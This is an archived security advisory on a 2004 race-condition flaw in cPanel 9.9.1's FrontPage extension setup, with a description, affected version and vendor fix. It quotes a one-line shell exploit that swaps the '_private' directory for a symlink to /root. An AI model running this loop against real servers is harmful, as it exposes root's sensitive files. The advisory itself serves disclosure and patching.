cPanel Front Page Extension Installation Information Disclosure Vulnerability

Bugtraq ID:	11456
Class:	Race Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 18 2004 12:00AM
Updated:	Oct 18 2004 12:00AM
Credit:	Karol Wi?sek <[email protected]> disclosed this vulnerability.
Vulnerable:	cPanel cPanel 9.9.1 -R3
Not Vulnerable:

cPanel Front Page Extension Installation Information Disclosure Vulnerability

It is reported that cPanel is susceptible to an information disclosure vulnerability in its function to enable Front Page extensions.

This vulnerability reportedly allows attackers to gain access to the contents of arbitrary, potentially sensitive files. This may aid them in further attacks.

Version 9.9.1-RELEASE-3 of cPanel was reported vulnerable. Other versions may also be affected.

cPanel Front Page Extension Installation Information Disclosure Vulnerability

An example script sufficient to exploit this race condition was provided:

while [ 1 ]; do if [ -d "_private" ]; then rm -fr _private; ln -s /root _private; break; fi; done

cPanel Front Page Extension Installation Information Disclosure Vulnerability

Solution:
The vendor has released fixes dealing with this issue. Users are advised to update to the latest Edge or Current version of cPanel. This update can be uploaded from WHM under 'Update to Latest Version' if the update preferences are set to 'Edge' or 'Current'. It can also be updated from a shell by running '/scripts/upcp'. For more information please see the referenced vendor message.

cPanel Front Page Extension Installation Information Disclosure Vulnerability

References:

• cPanel Homepage (cPanel)
  
• cPanel symlink chmod issue (Karol Wi?sek )